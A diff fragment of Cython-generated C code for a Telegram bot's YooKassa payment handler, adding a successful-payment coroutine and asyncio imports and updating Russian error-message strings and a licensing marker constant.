"handlers.payments.yookassa_pay", "sources": [ "handlers/payments/yookassa_pay.py" @@ -1494,17 +1497,11 @@ static const char *__pyx_f[] = { struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; -struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; -struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; -struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message; -/* "handlers/payments/yookassa_pay.py":60 - * - * - * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< - * async def process_callback_pay_yookassa( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1519,13 +1516,6 @@ struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_ }; -/* "handlers/payments/yookassa_pay.py":118 - * - * - * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection { PyObject_HEAD PyObject *__pyx_v_amount; @@ -1542,13 +1532,6 @@ struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process }; -/* "handlers/payments/yookassa_pay.py":192 - * - * - * async def yookassa_webhook(request): # <<<<<<<<<<<<<< - * """ - * Yookassa . - */ struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook { PyObject_HEAD double __pyx_v_amount; @@ -1559,25 +1542,24 @@ struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookass PyObject *__pyx_v_payment_id; PyObject *__pyx_v_payment_object; PyObject *__pyx_v_request; + PyObject *__pyx_v_response; PyObject *__pyx_v_user_id; PyObject *__pyx_v_user_id_str; - PyObject *__pyx_t_0; - PyObject *__pyx_t_1; - PyObject *__pyx_t_2; - PyObject *__pyx_t_3; - PyObject *__pyx_t_4; - PyObject *__pyx_t_5; }; -/* "handlers/payments/yookassa_pay.py":236 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ -struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount { +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_e; + PyObject *__pyx_v_user_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount { PyObject_HEAD PyObject *__pyx_v_builder; PyObject *__pyx_v_callback_query; @@ -1585,14 +1567,7 @@ struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process }; -/* "handlers/payments/yookassa_pay.py":252 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(callback_query: types.CallbackQuery | types.Message, session: Any): - * conn = await asyncpg.connect(DATABASE_URL) - */ -struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input { +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input { PyObject_HEAD PyObject *__pyx_v_amount; PyObject *__pyx_v_callback_query; @@ -1619,14 +1594,7 @@ struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process }; -/* "handlers/payments/yookassa_pay.py":349 - * - * - * async def _send_message(callback_query: types.CallbackQuery | types.Message, text: str, reply_markup=None): # <<<<<<<<<<<<<< - * """ .""" - * if isinstance(callback_query, types.CallbackQuery): - */ -struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message { +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message { PyObject_HEAD PyObject *__pyx_v_callback_query; PyObject *__pyx_v_reply_markup; @@ -2416,6 +2384,12 @@ static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject * /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); +/* PatchInspect.proto */ +static PyObject* __Pyx_patch_inspect(PyObject* module); + +/* PatchAsyncIO.proto */ +static PyObject* __Pyx_patch_asyncio(PyObject* module); + /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o, n, NULL) @@ -2699,16 +2673,18 @@ static const char __pyx_k_RUB[] = "RUB"; static const char __pyx_k__10[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; static const char __pyx_k__12[] = " \320\275\320\265 \320\267\320\260\320\262\320\265\321\200\321\210\321\221\320\275 \320\270\320\273\320\270 \320\275\320\265 \320\276\320\277\320\273\320\260\321\207\320\265\320\275"; static const char __pyx_k__13[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\265 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; -static const char __pyx_k__15[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; -static const char __pyx_k__18[] = "\320\224\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\276\320\277\320\273\320\260\321\202\321\213 \320\275\320\265 \320\275\320\260\320\271\320\264\320\265\320\275\321\213. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; -static const char __pyx_k__20[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267."; -static const char __pyx_k__21[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\321\213\320\271 \320\267\320\260\320\277\321\200\320\276\321\201."; -static const char __pyx_k__22[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217."; -static const char __pyx_k__23[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; -static const char __pyx_k__24[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; -static const char __pyx_k__26[] = "*"; -static const char __pyx_k__27[] = "."; -static const char __pyx_k__36[] = "?"; +static const char __pyx_k__15[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\276\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\265 \321\203\321\201\320\277\320\265\321\210\320\275\320\276\320\263\320\276 \320\277\320\273\320\260\321\202\320\265\320\266\320\260 \320\264\320\273\321\217 "; +static const char __pyx_k__16[] = ": "; +static const char __pyx_k__18[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__21[] = "\320\224\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\276\320\277\320\273\320\260\321\202\321\213 \320\275\320\265 \320\275\320\260\320\271\320\264\320\265\320\275\321\213. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; +static const char __pyx_k__23[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267."; +static const char __pyx_k__24[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\321\213\320\271 \320\267\320\260\320\277\321\200\320\276\321\201."; +static const char __pyx_k__25[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217."; +static const char __pyx_k__26[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__27[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__29[] = "*"; +static const char __pyx_k__30[] = "."; +static const char __pyx_k__40[] = "?"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_get[] = "get"; static const char __pyx_k_pay[] = "pay"; @@ -2776,12 +2752,14 @@ static const char __pyx_k_PROFILE[] = "PROFILE"; static const char __pyx_k_Payment[] = "Payment"; static const char __pyx_k_aiogram[] = "aiogram"; static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_asyncio[] = "asyncio"; static const char __pyx_k_asyncpg[] = "asyncpg"; static const char __pyx_k_balance[] = "balance"; static const char __pyx_k_builder[] = "builder"; static const char __pyx_k_capture[] = "capture"; static const char __pyx_k_connect[] = "connect"; static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_inspect[] = "inspect"; static const char __pyx_k_isdigit[] = "isdigit"; static const char __pyx_k_message[] = "message"; static const char __pyx_k_payment[] = "payment"; @@ -2803,6 +2781,7 @@ static const char __pyx_k_metadata[] = "metadata"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_quantity[] = "quantity"; static const char __pyx_k_redirect[] = "redirect"; +static const char __pyx_k_response[] = "response"; static const char __pyx_k_set_name[] = "__set_name__"; static const char __pyx_k_vat_code[] = "vat_code"; static const char __pyx_k_yookassa[] = "yookassa_"; @@ -2833,6 +2812,7 @@ static const char __pyx_k_AMOUNT_TEXT[] = "AMOUNT_TEXT"; static const char __pyx_k_MAIN_SECRET[] = "MAIN_SECRET"; static const char __pyx_k_StatesGroup[] = "StatesGroup"; static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_create_task[] = "create_task"; static const char __pyx_k_customer_id[] = "customer_id"; static const char __pyx_k_description[] = "description"; static const char __pyx_k_mro_entries[] = "__mro_entries__"; @@ -2855,6 +2835,7 @@ static const char __pyx_k_Configuration[] = "Configuration"; static const char __pyx_k_REDIRECT_LINK[] = "REDIRECT_LINK"; static const char __pyx_k_YOOKASSA_HASH[] = "YOOKASSA_HASH"; static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_asyncio_tasks[] = "asyncio.tasks"; static const char __pyx_k_callback_data[] = "callback_data"; static const char __pyx_k_class_getitem[] = "__class_getitem__"; static const char __pyx_k_customer_name[] = "customer_name"; @@ -2890,7 +2871,6 @@ static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; static const char __pyx_k_waiting_for_payment[] = "waiting_for_payment"; static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; static const char __pyx_k_InlineKeyboardMarkup[] = "InlineKeyboardMarkup"; -static const char __pyx_k_PIRAT0ETO7DLYA9TEBYA[] = "PIRAT0ETO7DLYA9TEBYA"; static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; static const char __pyx_k_Webhook_event_received[] = "Webhook event received: "; @@ -2902,6 +2882,8 @@ static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; static const char __pyx_k_choosing_amount_yookassa[] = "choosing_amount_yookassa"; static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; static const char __pyx_k_handlers_buttons_yookassa[] = "handlers.buttons.yookassa"; +static const char __pyx_k_PROJECT_06_01_09_LICENSION[] = "PROJECT_06_01:09_LICENSION"; +static const char __pyx_k_process_successful_payment[] = "process_successful_payment"; static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; static const char __pyx_k_waiting_for_renewal_payment[] = "waiting_for_renewal_payment"; @@ -2918,15 +2900,17 @@ static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_paym static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pay_yookassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ -static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ -static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_session); /* proto */ -static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_15_send_message(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_text, PyObject *__pyx_v_reply_markup); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_successful_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_user_id, PyObject *__pyx_v_amount); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_15process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_18_send_message(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_text, PyObject *__pyx_v_reply_markup); /* proto */ static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ -static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ -static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ -static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ /* #### Code section: late_includes ### */ /* #### Code section: module_state ### */ typedef struct { @@ -2958,16 +2942,18 @@ typedef struct { PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; - PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; - PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; - PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message; #endif PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; - PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; - PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; - PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message; PyObject *__pyx_kp_u_1_00; PyObject *__pyx_kp_u_79000000000; PyObject *__pyx_n_s_AMOUNT_TEXT; @@ -2994,8 +2980,8 @@ typedef struct { PyObject *__pyx_n_s_PAY; PyObject *__pyx_n_s_PAYMENT_OPTIONS; PyObject *__pyx_n_s_PAY_2; - PyObject *__pyx_n_u_PIRAT0ETO7DLYA9TEBYA; PyObject *__pyx_n_s_PROFILE; + PyObject *__pyx_kp_u_PROJECT_06_01_09_LICENSION; PyObject *__pyx_n_s_Payment; PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; PyObject *__pyx_n_s_REDIRECT_LINK; @@ -3016,17 +3002,19 @@ typedef struct { PyObject *__pyx_kp_u__12; PyObject *__pyx_kp_u__13; PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; PyObject *__pyx_kp_u__18; PyObject *__pyx_kp_u__2; - PyObject *__pyx_kp_u__20; PyObject *__pyx_kp_u__21; - PyObject *__pyx_kp_u__22; PyObject *__pyx_kp_u__23; PyObject *__pyx_kp_u__24; - PyObject *__pyx_n_s__26; + PyObject *__pyx_kp_u__25; + PyObject *__pyx_kp_u__26; PyObject *__pyx_kp_u__27; - PyObject *__pyx_n_s__36; + PyObject *__pyx_n_s__29; + PyObject *__pyx_kp_u__30; PyObject *__pyx_kp_u__4; + PyObject *__pyx_n_s__40; PyObject *__pyx_kp_u__6; PyObject *__pyx_kp_u__7; PyObject *__pyx_kp_u__8; @@ -3047,7 +3035,9 @@ typedef struct { PyObject *__pyx_n_s_answer; PyObject *__pyx_n_s_args; PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio; PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_asyncio_tasks; PyObject *__pyx_n_s_asyncpg; PyObject *__pyx_n_s_await; PyObject *__pyx_n_s_balance; @@ -3069,6 +3059,7 @@ typedef struct { PyObject *__pyx_n_s_conn; PyObject *__pyx_n_s_connect; PyObject *__pyx_n_s_create; + PyObject *__pyx_n_s_create_task; PyObject *__pyx_n_u_currency; PyObject *__pyx_n_u_customer; PyObject *__pyx_n_s_customer_email; @@ -3115,6 +3106,7 @@ typedef struct { PyObject *__pyx_n_s_init_subclass; PyObject *__pyx_n_s_initializing; PyObject *__pyx_n_s_inline_keyboard; + PyObject *__pyx_n_s_inspect; PyObject *__pyx_n_s_is_coroutine; PyObject *__pyx_n_s_isdigit; PyObject *__pyx_kp_u_isenabled; @@ -3149,6 +3141,7 @@ typedef struct { PyObject *__pyx_n_s_process_callback_pay_yookassa; PyObject *__pyx_n_s_process_custom_amount_input; PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_process_successful_payment; PyObject *__pyx_n_u_profile; PyObject *__pyx_n_s_qualname; PyObject *__pyx_n_u_quantity; @@ -3158,6 +3151,7 @@ typedef struct { PyObject *__pyx_n_s_reply_markup; PyObject *__pyx_n_s_request; PyObject *__pyx_n_u_required_amount; + PyObject *__pyx_n_s_response; PyObject *__pyx_n_u_return_url; PyObject *__pyx_n_s_router; PyObject *__pyx_n_s_row; @@ -3222,21 +3216,23 @@ typedef struct { PyObject *__pyx_int_500; PyObject *__pyx_codeobj_; PyObject *__pyx_tuple__5; - PyObject *__pyx_tuple__16; PyObject *__pyx_tuple__19; - PyObject *__pyx_tuple__28; - PyObject *__pyx_tuple__29; - PyObject *__pyx_tuple__30; + PyObject *__pyx_tuple__22; PyObject *__pyx_tuple__31; PyObject *__pyx_tuple__32; PyObject *__pyx_tuple__33; PyObject *__pyx_tuple__34; PyObject *__pyx_tuple__35; + PyObject *__pyx_tuple__36; + PyObject *__pyx_tuple__37; + PyObject *__pyx_tuple__38; + PyObject *__pyx_tuple__39; PyObject *__pyx_codeobj__3; PyObject *__pyx_codeobj__11; PyObject *__pyx_codeobj__14; PyObject *__pyx_codeobj__17; - PyObject *__pyx_codeobj__25; + PyObject *__pyx_codeobj__20; + PyObject *__pyx_codeobj__28; } __pyx_mstate; #if CYTHON_USE_MODULE_STATE @@ -3285,12 +3281,14 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); - Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); - Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); - Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); - Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); - Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message); - Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message); Py_CLEAR(clear_module_state->__pyx_kp_u_1_00); Py_CLEAR(clear_module_state->__pyx_kp_u_79000000000); Py_CLEAR(clear_module_state->__pyx_n_s_AMOUNT_TEXT); @@ -3317,8 +3315,8 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_PAY); Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_CLEAR(clear_module_state->__pyx_n_s_PAY_2); - Py_CLEAR(clear_module_state->__pyx_n_u_PIRAT0ETO7DLYA9TEBYA); Py_CLEAR(clear_module_state->__pyx_n_s_PROFILE); + Py_CLEAR(clear_module_state->__pyx_kp_u_PROJECT_06_01_09_LICENSION); Py_CLEAR(clear_module_state->__pyx_n_s_Payment); Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); Py_CLEAR(clear_module_state->__pyx_n_s_REDIRECT_LINK); @@ -3339,17 +3337,19 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_kp_u__12); Py_CLEAR(clear_module_state->__pyx_kp_u__13); Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); Py_CLEAR(clear_module_state->__pyx_kp_u__18); Py_CLEAR(clear_module_state->__pyx_kp_u__2); - Py_CLEAR(clear_module_state->__pyx_kp_u__20); Py_CLEAR(clear_module_state->__pyx_kp_u__21); - Py_CLEAR(clear_module_state->__pyx_kp_u__22); Py_CLEAR(clear_module_state->__pyx_kp_u__23); Py_CLEAR(clear_module_state->__pyx_kp_u__24); - Py_CLEAR(clear_module_state->__pyx_n_s__26); + Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); Py_CLEAR(clear_module_state->__pyx_kp_u__27); - Py_CLEAR(clear_module_state->__pyx_n_s__36); + Py_CLEAR(clear_module_state->__pyx_n_s__29); + Py_CLEAR(clear_module_state->__pyx_kp_u__30); Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_n_s__40); Py_CLEAR(clear_module_state->__pyx_kp_u__6); Py_CLEAR(clear_module_state->__pyx_kp_u__7); Py_CLEAR(clear_module_state->__pyx_kp_u__8); @@ -3370,7 +3370,9 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_answer); Py_CLEAR(clear_module_state->__pyx_n_s_args); Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio); Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_tasks); Py_CLEAR(clear_module_state->__pyx_n_s_asyncpg); 